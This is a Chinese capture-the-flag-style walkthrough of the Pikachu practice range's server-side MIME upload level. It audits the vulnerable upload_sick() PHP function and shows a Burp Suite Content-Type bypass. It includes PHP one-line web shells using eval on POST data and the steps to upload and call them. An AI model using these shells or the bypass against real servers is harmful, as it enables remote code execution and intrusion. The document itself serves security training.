目录
本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件上传关卡(unsafe upfileupload)之服务端MIME源码的代码审计找到产生缺陷的真实原因,讲解服务端MIME关卡客户端check的原理并进行渗透实践。
一、MIME功能
在文件上传功能里,MIME(Multipurpose Internet Mail Extensions)类型发挥着关键作用。MIME 类型是一种标准,用于表示文档、文件或字节流的性质和格式。它由两部分组成,以主类型和子类型的形式呈现,中间用斜杠分隔,例如 text/html
、image/jpeg
、application/pdf
等。主类型描述了文件的大致类别,子类型则进一步明确了具体的格式。常见MIME类型示例如下表所示。
文件类型 | MIME类型 | 典型扩展名 |
---|---|---|
文本文件 | text/plain |
.txt |
HTML文件 | text/html |
.html |
JPEG图片 | image/jpeg |
.jpg , .jpeg |
PNG图片 | image/png |
.png |
GIF图片 | image/gif |
.gif |
PDF文档 | application/pdf |
.pdf |
JavaScript | application/javascript |
.js |
JSON数据 | application/json |
.json |
ZIP压缩文件 | application/zip |
.zip |
PHP脚本 | application/x-httpd-php |
.php |
二、实验准备
构造文件上传的脚本,内容为一句话马,脚本code内容如下所示。
<?php @eval($_POST[ljn_0627]); ?> 命名为ljn_post_0627.php 用于禁用js法文件上传。
<?php @eval($_POST[ljn2_0627]); ?> 命名为ljn_post2_0627.php用于修改页面法文件上传。
三、源码分析
1、servercheck.php
进入pikachu靶场文件上传02-MIME关卡,完整URL链接如下所示。
http://192.168.59.1/pikachu/vul/unsafeupload/servercheck.php
在pikachu靶场的源码中查看servercheck.php文件,分析可知通过upload_sick函数进行检查是否合法文件,如下所示。
2、upload_sick函数
upload_sick()函数检查了MIME字段,具体如下所示。
upload_sick 的主要功能是处理文件上传操作,添加注释功能的源码如下所示。
// 定义一个名为 upload_sick 的函数,用于处理文件上传操作
// 参数 $key 表示 $_FILES 数组中的键名,用于获取上传文件的信息
// 参数 $mime 是一个包含允许的 MIME 类型的数组
// 参数 $save_path 是上传文件保存的目标路径
function upload_sick($key, $mime, $save_path) {
// 定义一个数组 $arr_errors,用于存储不同文件上传错误码对应的错误信息
$arr_errors = array(
1 => '上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值',
2 => '上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3 => '文件只有部分被上传',
4 => '没有文件被上传',
6 => '找不到临时文件夹',
7 => '文件写入失败'
);
// 检查 $_FILES 数组中是否存在指定键名的元素,如果不存在,说明用户没有选择上传文件
if (!isset($_FILES[$key]['error'])) {
// 设置返回数据数组,包含错误信息和上传结果标识
$return_data['error'] = '请选择上传文件!';
$return_data['return'] = false;
// 返回包含错误信息和上传结果的数组
return $return_data;
}
// 检查上传文件的错误码是否不为 0,如果不为 0 表示上传过程中出现了错误
if ($_FILES[$key]['error'] != 0) {
// 根据错误码从 $arr_errors 数组中获取对应的错误信息
$return_data['error'] = $arr_errors[$_FILES[$key]['error']];
$return_data['return'] = false;
return $return_data;
}
// 验证上传文件的 MIME 类型是否在允许的 MIME 类型数组 $mime 中
if (!in_array($_FILES[$key]['type'], $mime)) {
$return_data['error'] = '上传的图片只能是 jpg,jpeg,png 格式的!';
$return_data['return'] = false;
return $return_data;
}
// 检查保存文件的目标路径是否存在,如果不存在则尝试创建该目录
if (!file_exists($save_path)) {
// 使用 mkdir 函数创建目录,权限设置为 0777,允许递归创建
if (!mkdir($save_path, 0777, true)) {
$return_data['error'] = '上传文件保存目录创建失败,请检查权限!';
$return_data['return'] = false;
return $return_data;
}
}
// 确保保存路径以斜杠结尾,方便后续拼接文件名
$save_path = rtrim($save_path, '/') . '/';
// 尝试将上传的临时文件移动到指定的保存路径
if (!move_uploaded_file($_FILES[$key]['tmp_name'], $save_path . $_FILES[$key]['name'])) {
$return_data['error'] = '临时文件移动失败,请检查权限!';
$return_data['return'] = false;
return $return_data;
}
// 如果以上所有检查和操作都通过了,说明文件上传成功
// 设置返回数据数组,包含上传文件的新路径和上传结果标识
$return_data['new_path'] = $save_path . $_FILES[$key]['name'];
$return_data['return'] = true;
return $return_data;
}
upload函数对上传文件格式是否为脚本的判断主要是基于MIME字段,主要处理逻辑如下所示。
- 检查用户是否选择了上传文件。
- 检查上传文件过程中是否出现错误。
- 验证上传文件的 MIME 类型是否在允许的范围内。
- 检查保存文件的目标路径是否存在,如果不存在则尝试创建该目录。
- 将上传的临时文件移动到指定的保存路径。
- 根据处理结果返回包含错误信息或上传文件新路径的数组。
upload_sick()函数的不安全之处在于两点:
(1)仅检查了MIME类型,可以通过bp抓包修改绕过(使用工具或编程手段将该恶意文件的 MIME 类型修改为允许的图片类型,如 image/jpeg
)。
(2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。
综上,分析出服务器检测是否为图片,是通过HTTP request报文中MIME类型在Content-Type字段体现。
3、渗透思路
将php脚本发送到bp改包,将content-type:application/octet-stream改为image/jpeg或者image/jpg或者为image/png,然后将报文上传到服务器绕过检测。
四、渗透实战
1、浏览报文
进入pikachu靶场的MIME关卡,选择ljn_post_0627.php报文但是不上传如下所示。
2、bp设置拦截
firefox开启bp代理,bp设置为拦截请求,inception on,如下所示。
3、点击上传
点击上传,bp抓包,需要修改content-type,如下图红框所示。
4、bp改包
burpsuite将content-type改为image/jpg,并点击发送或者inception off(关闭拦截请求),如下图所示。
5、获取上传脚本地址
如下图所示脚本上传成功,路径为uploads/ljn_post_0627.php,构造脚本完整URL地址。
当前网页路径为:http://192.168.59.1/pikachu/vul/unsafeupload/servercheck.php
当前网页的路径为:http://192.168.59.1/pikachu/vul/unsafeupload/
脚本上传路径为:uploads/ljn_post_0627.php
将这两个拼接到一起即可
http://192.168.59.1/pikachu/vul/unsafeupload/uploads/ljn_post_0627.php
6、访问脚本
访问上传成功后的脚本,如下所示成功获取到服务器的php信息,证明上传成功。
upload靶场一句话木马网址:http://192.168.59.1/upload-labs/upload/ljn_post_0627.php
post参数:ljn_0627=phpinfo();